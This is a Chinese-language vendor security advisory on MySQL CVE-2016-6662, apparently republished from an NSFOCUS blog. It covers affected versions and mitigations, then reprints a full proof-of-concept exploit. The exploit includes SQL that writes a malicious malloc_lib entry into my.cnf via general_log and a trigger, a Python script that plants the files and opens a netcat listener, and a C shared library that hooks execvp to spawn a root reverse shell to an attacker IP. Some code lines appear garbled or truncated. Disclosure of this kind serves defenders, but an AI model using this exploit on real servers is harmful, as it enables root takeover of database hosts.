天天看點

MySQL 0Day漏洞出現 該漏洞可以拿到本地Root權限 綠盟科技釋出防護方案

該漏洞可以允許攻擊者遠端向mysql配置檔案(my.cnf)注入惡意的環境配置,進而導緻嚴重後果。該漏洞将影響以預設方式進行配置的所有版本的mysql伺服器,涵蓋5.7、5.6和5.5,包括最新版本。此外,包括mariadb和perconadb在内的mysql分支也在影響範圍内。攻擊者既可以通過本地方式,也可以通過遠端方式進行漏洞利用。

進階:影響範圍比較廣,危害嚴重,利用難度較低,7*24小時内部應急跟蹤,24小時内完成技術分析、産品更新和防護方案。

MySQL 0Day漏洞出現 該漏洞可以拿到本地Root權限 綠盟科技釋出防護方案

mysql版本 <= 5.7.15

mysql版本 <= 5.6.33

mysql版本 <= 5.5.52

無。

oracle官方尚未釋出更新檔,作為暫時的緩解政策,mysql使用者應該做到以下兩點:

確定mysql的配置檔案不被mysql使用者所擁有;

以root使用者身份建立一個虛假my.cnf檔案。

mysql的兩個分支mariadb和perconadb已經釋出了更新檔,請更新到最新版本,

下載下傳位址分别如下:

<a href="https://www.percona.com/downloads/" target="_blank">https://www.percona.com/downloads/</a>

https://mariadb.org/download/

産品防護

已經購買了綠盟科技防護類産品服務的客戶可以通過産品更新進行防護。

使用綠盟科技防護類産品waf/ips/ids/nf進行防護。

使用綠盟科技的遠端評估系統rsas進行安全評估。

防護服務

短期服務:綠盟科技工程師現場處理。確定第一時間消除網絡内相關風險點,控制事件影響範圍,提供事件分析報告。

中期服務:提供 3-6個月的風險監控與巡檢服務。根除風險,確定事件不複發。

長期服務:基于行業業務風險解決方案(威脅情報+攻擊溯源+專業安全服務)。

攻擊者在僅擁有select/file的權限下,可以利用此漏洞實作root提權 ,執行任意代碼,進而完全控制mysql資料庫和伺服器。

mysql的預設安裝包裡面包含一個腳本mysqld_safe,它被用來啟動mysql服務。mysqld_safe腳本是以root權限啟動的,而資料庫守護程序mysqld是用較低權限的mysql使用者啟動的。以debian系統為例,mysql預設安裝後mysqld_safe腳本的部分内容如下:

<code>[...]</code>

<code># set_malloc_lib lib</code>

<code># - if lib is empty, do nothing and return</code>

<code># - if lib is 'tcmalloc', look for tcmalloc shared library in /usr/lib</code>

<code>#   then pkglibdir.  tcmalloc is part of the google perftools project.</code>

<code># - if lib is an absolute path, assume it is a malloc shared library</code>

<code>#</code>

<code># put lib in mysqld_ld_preload, which will be added to ld_preload when</code>

<code># running mysqld.  see ld.so for details.</code>

<code>set_malloc_lib() {</code>

<code>malloc_lib="$1"</code>

<code></code>

<code>if [ "$malloc_lib" = tcmalloc ]; then</code>

<code>pkglibdir=`get_mysql_config --variable=pkglibdir`</code>

<code>malloc_lib=</code>

<code># this list is kept intentionally simple.  simply set --malloc-lib</code>

<code># to a full path if another location is desired.</code>

<code>for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do</code>

<code>for flavor in _minimal '' _and_profiler _debug; do</code>

<code>tmp="$libdir/libtcmalloc$flavor.so"</code>

<code>#log_notice "debug: checking for malloc lib '$tmp'"</code>

<code>[ -r "$tmp" ] || continue</code>

<code>malloc_lib="$tmp"</code>

<code>break 2</code>

<code>done</code>

我們可以通過使用--malloc-lib=lib參數在服務加載時,預先加載一個庫檔案,這個參數同樣可以通過配置檔案my.cnf來設定,設定位置在“[mysqld]”或“[mysqld_safe]”部分。

此漏洞的本質是攻擊者可以通過log函數利用不恰當的權限設定改寫mysql的配置檔案my.cnf,将惡意的庫檔案路徑插入到配置檔案my.cnf中,進而加載該惡意庫檔案,當mysql服務重新開機時,就能以root權限執行任意代碼。

向my.cnf檔案寫入惡意庫檔案的具體實作如下:

(1)執行下述mysql指令。

<code>mysql&gt; set global general_log_file = '/var/lib/mysql/my.cnf';  mysql&gt; set global general_log = on;  mysql&gt; select '  '&gt;  '&gt; ; injected config entry  '&gt;  '&gt; [mysqld]  '&gt; malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so  '&gt;  '&gt; [separator]  '&gt;  '&gt; ';  1 row in set (0.00 sec)  mysql&gt; set global general_log = off;</code>

(2)指令執行後,可以看到my.cnf的檔案末尾處,被附加了如下的内容:

<code># cat /var/lib/mysql/my.cnf  /usr/sbin/mysqld, version: 5.5.50-0+deb8u1 ((debian)). started with:  tcp port: 3306  unix socket: /var/run/mysqld/mysqld.sock  time                 id command    argument  160728 17:48:22        43 query     select '  ; injected config entry  [mysqld]  malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so  [separator]  '  160728 17:48:23        43 query     set global general_log = off</code>

其中“[mysqld]”中的“malloc_lib”選項是關鍵!當my.cnf配置檔案被mysqld_safe腳本加載處理時,mysqld_safe會讀取malloc_lib的共享庫路徑,将其添加到ld_preload環境變量。mysqld守護程序啟動時,此malloc_lib共享庫可以優先加載執行,攻擊者可以利用這個機會在共享庫中執行任意代碼,并hook一些函數調用,清理被篡改的配置檔案,使得mysqld守護程序正常執行,不會崩潰,使得使用者難以察覺。

該本地提權漏洞的完整利用過程如下:

攻擊者利用sql注入或已有的低權限賬号登入mysql伺服器,可以執行低權限的指令。

通過檔案上傳或dumpfile指令将惡意malloc_lib共享庫檔案上傳到目标伺服器 。

<code>// 将二進制共享庫檔案内容轉化為十六進制形式  hookandrootlib_path = './mysql_hookandroot_lib.so'  with open(hookandrootlib_path, 'rb') as f:  content = f.read()  hookandrootlib_hex = binascii.hexlify(content)  // 通過dumpfile指令寫入目前伺服器  select unhex("hookandrootlib_hex") into dumpfile '/var/lib/mysql/mysql_hookandroot_lib.so'</code>

3. 通過設定觸發器,提升使用者權限,為寫入my.cnf檔案做準備。

<code>elimiter //  create definer=`root`@`localhost` trigger appendtoconf  after insert  on `poctable` for each row  begin  declare void varchar(550);  set global general_log_file='/var/lib/mysql/my.cnf';  set global general_log = on;  select "  # 0ldsql_mysql_rce_exploit got here :)  [mysqld]  malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'  [abyss]  " into void;  set global general_log = off;  end; //  delimiter ;</code>

4. 觸發觸發器,使得惡意配置被寫入my.cnf檔案

<code># creating table poctable so that /var/lib/mysql/pocdb/poctable.trg trigger gets loaded by the server  info("creating table 'poctable' so that injected 'poctable.trg' trigger gets loaded")  try:  cursor = dbconn.cursor()  cursor.execute("create table `poctable` (line varchar(600)) engine='myisam'"  )  except mysql.connector.error as err:  errmsg("something went wrong: {}".format(err))  shutdown(6)  # finally, execute the trigger's payload by inserting anything into `poctable`.  # the payload will write to the mysql config file at this point.  try:  cursor = dbconn.cursor()  cursor.execute("insert into `poctable` values('execute the trigger!');" )  except mysql.connector.error as err:  errmsg("something went wrong: {}".format(err))  shutdown(6)</code>

5. 當mysql重新開機時(包括系統更新),就會使得mysqld_safe讀取my.cnf檔案,進而加載執行惡意共享庫檔案,進而執行任意代碼,由于mysqld_safe預設以root權限執行,是以加載執行的共享庫也擁有root權限,可以用來提權。

legalhackers.com網站公布了一個功能受限的poc,代碼如下,它僅能做到以低權限向mysql資料庫的配置檔案添加内容:

1、0ldsql_mysql_rce_exploit.py

<code>intro = """</code>

<code>0ldsql_mysql_rce_exploit.py (ver. 1.0)</code>

<code>(cve-2016-6662) mysql remote root code execution / privesc poc exploit</code>

<code>for testing purposes only. do no harm.</code>

<code>discovered/coded by:</code>

<code>dawid golunski</code>

<code>http://legalhackers.com</code>

<code>"""</code>

<code>import argparse</code>

<code>import mysql.connector</code>

<code>import binascii</code>

<code>import subprocess</code>

<code>def info(str):</code>

<code>print "[+] " + str + "\n"</code>

<code>def errmsg(str):</code>

<code>print "[!] " + str + "\n"</code>

<code>def shutdown(code):</code>

<code>if (code==0):</code>

<code>info("exiting (code: %d)\n" % code)</code>

<code>else:</code>

<code>errmsg("exiting (code: %d)\n" % code)</code>

<code>exit(code)</code>

<code>cmd = "rm -f /var/lib/mysql/pocdb/poctable.trg ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"</code>

<code>process = subprocess.popen(cmd, shell=true, stdout=subprocess.pipe, stderr=subprocess.pipe)</code>

<code>(result, error) = process.communicate()</code>

<code>rc = process.wait()</code>

<code># where will the library to be preloaded reside? /tmp might get emptied on reboot</code>

<code># /var/lib/mysql is safer option (and mysql can definitely write in there ;)</code>

<code>malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'</code>

<code># main meat</code>

<code>print intro</code>

<code># parse input args</code>

<code>parser = argparse.argumentparser(prog='0ldsql_mysql_rce_exploit.py', description='poc for mysql remote root code execution / privesc cve-2016-6662')</code>

<code>parser.add_argument('-dbuser', dest='target_user', required=true, help='mysql username')</code>

<code>parser.add_argument('-dbpass', dest='target_pass', required=true, help='mysql password')</code>

<code>parser.add_argument('-dbname', dest='target_db',   required=true, help='remote mysql database name')</code>

<code>parser.add_argument('-dbhost', dest='target_host', required=true, help='remote mysql host')</code>

<code>parser.add_argument('-mycnf', dest='target_mycnf', required=true, help='remote my.cnf owned by mysql user')</code>

<code>args = parser.parse_args()</code>

<code># connect to database. provide a user with create table, select and file permissions</code>

<code># create requirement could be bypassed (malicious trigger could be attached to existing tables)</code>

<code>info("connecting to target server %s and target mysql account '%s@%s' using db '%s'" % (args.target_host, args.target_user, args.target_host, args.target_db))</code>

<code>try:</code>

<code>dbconn = mysql.connector.connect(user=args.target_user, password=args.target_pass, database=args.target_db, host=args.target_host)</code>

<code>except mysql.connector.error as err:</code>

<code>errmsg("failed to connect to the target: {}".format(err))</code>

<code>shutdown(1)</code>

<code>cursor = dbconn.cursor()</code>

<code>cursor.execute("show grants")</code>

<code>errmsg("something went wrong: {}".format(err))</code>

<code>shutdown(2)</code>

<code>privs = cursor.fetchall()</code>

<code>info("the account in use has the following grants/perms: " )</code>

<code>for priv in privs:</code>

<code>print priv[0]</code>

<code>print ""</code>

<code># compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld</code>

<code># process execution and run our code (remote root shell)</code>

<code># remember to match the architecture of the target (not your machine!) otherwise the library</code>

<code># will not load properly on the target.</code>

<code>info("compiling mysql_hookandroot_lib.so")</code>

<code>cmd = "gcc -wall -fpic -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"</code>

<code>if rc != 0:</code>

<code>errmsg("failed to compile mysql_hookandroot_lib.so: %s" % cmd)</code>

<code>print error</code>

<code># load mysql_hookandroot_lib.so library and encode it into hex</code>

<code>info("converting mysql_hookandroot_lib.so into hex")</code>

<code>hookandrootlib_path = './mysql_hookandroot_lib.so'</code>

<code>with open(hookandrootlib_path, 'rb') as f:</code>

<code>content = f.read()</code>

<code>hookandrootlib_hex = binascii.hexlify(content)</code>

<code># trigger payload that will elevate user privileges and sucessfully execute set global general_log</code>

<code># decoded payload (paths may differ):</code>

<code>delimiter //</code>

<code>create definer=`root`@`localhost` trigger appendtoconf</code>

<code>after insert</code>

<code>on `poctable` for each row</code>

<code>begin</code>

<code>declare void varchar(550);</code>

<code>set global general_log_file='/var/lib/mysql/my.cnf';</code>

<code>set global general_log = on;</code>

<code>select "</code>

<code># 0ldsql_mysql_rce_exploit got here :)</code>

<code>[mysqld]</code>

<code>malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'</code>

<code>[abyss]</code>

<code>" into void;</code>

<code>set global general_log = off;</code>

<code>end; //</code>

<code>delimiter ;</code>

<code>trigger_payload="""type=triggers</code>

<code>triggers='create definer=`root`@`localhost` trigger appendtoconf\\nafter insert\\n   on `poctable` for each row\\nbegin\\n\\n   declare void varchar(550);\\n   set global general_log_file=\\'%s\\';\\n   set global general_log = on;\\n   select "\\n\\n# 0ldsql_mysql_rce_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" into void;   \\n   set global general_log = off;\\n\\nend'</code>

<code>sql_modes=0</code>

<code>definers='root@localhost'</code>

<code>client_cs_names='utf8'</code>

<code>connection_cl_names='utf8_general_ci'</code>

<code>db_cl_names='latin1_swedish_ci'</code>

<code>""" % (args.target_mycnf, malloc_lib_path)</code>

<code># convert trigger into hex to pass it to unhex() sql function</code>

<code>trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)</code>

<code># save trigger into a trigger file</code>

<code>trg_path="/var/lib/mysql/%s/poctable.trg" % args.target_db</code>

<code>info("saving trigger payload into %s" % (trg_path))</code>

<code>cursor.execute("""select unhex("%s") into dumpfile '%s' """ % (trigger_payload_hex, trg_path) )</code>

<code>shutdown(4)</code>

<code># save library into a trigger file</code>

<code>info("dumping shared library into %s file on the target" % malloc_lib_path)</code>

<code>cursor.execute("""select unhex("%s") into dumpfile '%s' """ % (hookandrootlib_hex, malloc_lib_path) )</code>

<code>shutdown(5)</code>

<code># creating table poctable so that /var/lib/mysql/pocdb/poctable.trg trigger gets loaded by the server</code>

<code>info("creating table 'poctable' so that injected 'poctable.trg' trigger gets loaded")</code>

<code>cursor.execute("create table `poctable` (line varchar(600)) engine='myisam'"  )</code>

<code>shutdown(6)</code>

<code># finally, execute the trigger's payload by inserting anything into `poctable`.</code>

<code># the payload will write to the mysql config file at this point.</code>

<code>info("inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.target_mycnf )</code>

<code>cursor.execute("insert into `poctable` values('execute the trigger!');" )</code>

<code># check on the config that was just created</code>

<code>info("showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.target_mycnf )</code>

<code>cursor.execute("select load_file('%s')" % args.target_mycnf)</code>

<code>finally:</code>

<code>dbconn.close()  # close db connection</code>

<code>myconfig = cursor.fetchall()</code>

<code>print myconfig[0][0]</code>

<code>info("looks messy? have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")</code>

<code># spawn a shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)</code>

<code>info("everything is set up and ready. spawning netcat listener and waiting for mysql daemon to get restarted to get our rootshell... :)" )</code>

<code>listener = subprocess.popen(args=["/bin/nc", "-lvp","6033"])</code>

<code>listener.communicate()</code>

<code># show config again after all the action is done</code>

<code>info("shell closed. hope you had fun. ")</code>

<code># mission complete, but just for now... stay tuned :)</code>

<code>info("""stay tuned for the cve-2016-6663 advisory and/or a complete poc that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")</code>

<code># shutdown</code>

<code>shutdown(0)</code>

2、mysql_hookandroot_lib.c

<code>mysql_hookandroot_lib.c</code>

<code>this is the shared library injected by 0ldsql_mysql_rce_exploit.py exploit.</code>

<code>the library is meant to be loaded by mysqld_safe on mysqld daemon startup</code>

<code>to create a reverse shell that connects back to the attacker's host on</code>

<code>6603 port (mysql port in reverse ;) and provides a root shell on the</code>

<code>target.</code>

<code>mysqld_safe will load this library through the following setting:</code>

<code>malloc_lib=mysql_hookandroot_lib.so</code>

<code>in one of the my.cnf config files (e.g. /etc/my.cnf).</code>

<code>this shared library will hook the execvp() function which is called</code>

<code>during the startup of mysqld process.</code>

<code>it will then fork a reverse shell and clean up the poisoned my.cnf</code>

<code>file in order to let mysqld run as normal so that:</code>

<code>'service mysql restart' will work without a problem.</code>

<code>before compiling adjust ip / port and config path.</code>

<code>~~</code>

<code>compilation (remember to choose settings compatible with the remote os/arch):</code>

<code>gcc -wall -fpic -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl</code>

<code>disclaimer:</code>

<code>full advisory url:</code>

<code>http://legalhackers.com/advisories/mysql-exploit-remote-root-code-execution-privesc-cve-2016-6662.txt</code>

<code>*/</code>

<code>#define _gnu_source</code>

<code>#include &lt;stdio.h&gt;</code>

<code>#include &lt;sys/types.h&gt;</code>

<code>#include &lt;sys/stat.h&gt;</code>

<code>#include &lt;unistd.h&gt;</code>

<code>#include &lt;string.h&gt;</code>

<code>#include &lt;dlfcn.h&gt;</code>

<code>#include &lt;stdlib.h&gt;</code>

<code>#include &lt;stdarg.h&gt;</code>

<code>#include &lt;fcntl.h&gt;</code>

<code>#include &lt;sys/socket.h&gt;</code>

<code>#include &lt;netinet/in.h&gt;</code>

<code>#include &lt;arpa/inet.h&gt;</code>

<code>#define attackers_ip "127.0.0.1"</code>

<code>#define shell_port 6033</code>

<code>#define injected_conf "/var/lib/mysql/my.cnf"</code>

<code>char* env_list[] = { "home=/root", null };</code>

<code>typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]);</code>

<code>static execvp_func_t old_execvp = null;</code>

<code>// fork &amp; send a bash shell to the attacker before starting mysqld</code>

<code>void reverse_shell(void) {</code>

<code>int i; int sockfd;</code>

<code>//socklen_t socklen;</code>

<code>struct sockaddr_in srv_addr;</code>

<code>srv_addr.sin_family = af_inet;</code>

<code>srv_addr.sin_port = htons( shell_port ); // connect-back port</code>

<code>srv_addr.sin_addr.s_addr = inet_addr(attackers_ip); // connect-back ip</code>

<code>// create new tcp socket &amp;&amp; connect</code>

<code>sockfd = socket( af_inet, sock_stream, ipproto_ip );</code>

<code>connect(sockfd, (struct sockaddr *)&amp;srv_addr, sizeof(srv_addr));</code>

<code>for(i = 0; i &lt;= 2; i++) dup2(sockfd, i);</code>

<code>execle( "/bin/bash", "/bin/bash", "-i", null, env_list );</code>

<code>exit(0);</code>

<code>}</code>

<code>/*</code>

<code>cleanup injected data from the target config before it is read by mysqld</code>

<code>in order to ensure clean startup of the service</code>

<code>the injection (if done via logging) will start with a line like this:</code>

<code>/usr/sbin/mysqld, version: 5.5.50-0+deb8u1 ((debian)). started with:</code>

<code>int config_cleanup() {</code>

<code>file *conf;</code>

<code>char buffer[2000];</code>

<code>long cut_offset=0;</code>

<code>conf = fopen(injected_conf, "r+");</code>

<code>if (!conf) return 1;</code>

<code>while (!feof(conf)) {</code>

<code>fgets(buffer, sizeof(buffer), conf);</code>

<code>if (strstr(buffer,"/usr/sbin/mysqld, version")) {</code>

<code>cut_offset = (ftell(conf) - strlen(buffer));</code>

<code>if (cut_offset&gt;0) ftruncate(fileno(conf), cut_offset);</code>

<code>fclose(conf);</code>

<code>return 0;</code>

<code>// execvp() hook</code>

<code>int execvp(const char* filename, char* const argv[]) {</code>

<code>pid_t  pid;</code>

<code>int fd;</code>

<code>// simple root poc (touch /root/root_via_mysql)</code>

<code>fd = open("/root/root_via_mysql", o_creat);</code>

<code>close(fd);</code>

<code>old_execvp = dlsym(rtld_next, "execvp");</code>

<code>// fork a reverse shell and execute the original execvp() function</code>

<code>pid = fork();</code>

<code>if (pid == 0)</code>

<code>reverse_shell();</code>

<code>// clean injected payload before mysqld is started</code>

<code>config_cleanup();</code>

<code>return old_execvp(filename, argv);</code>

本安全公告僅用來描述可能存在的安全問題,綠盟科技不為此安全公告提供任何保證或承諾。由于傳播、利用此安全公告所提供的資訊而造成的任何直接或者間接的後果及損失,均由使用者本人負責,綠盟科技以及安全公告作者不為此承擔任何責任。綠盟科技擁有對此安全公告的修改和解釋權。如欲轉載或傳播此安全公告,必須保證此安全公告的完整性,包括版權聲明等全部内容。未經綠盟科技允許,不得任意修改或者增減此安全公告内容,不得以任何方式将其用于商業目的。

原文釋出時間:2017年3月24日

本文由:綠盟科技部落格 釋出,版權歸屬于原作者

原文連結:http://toutiao.secjia.com/mysql-0day-cve-2016-6662

本文來自雲栖社群合作夥伴安全加,了解相關資訊可以關注安全加網站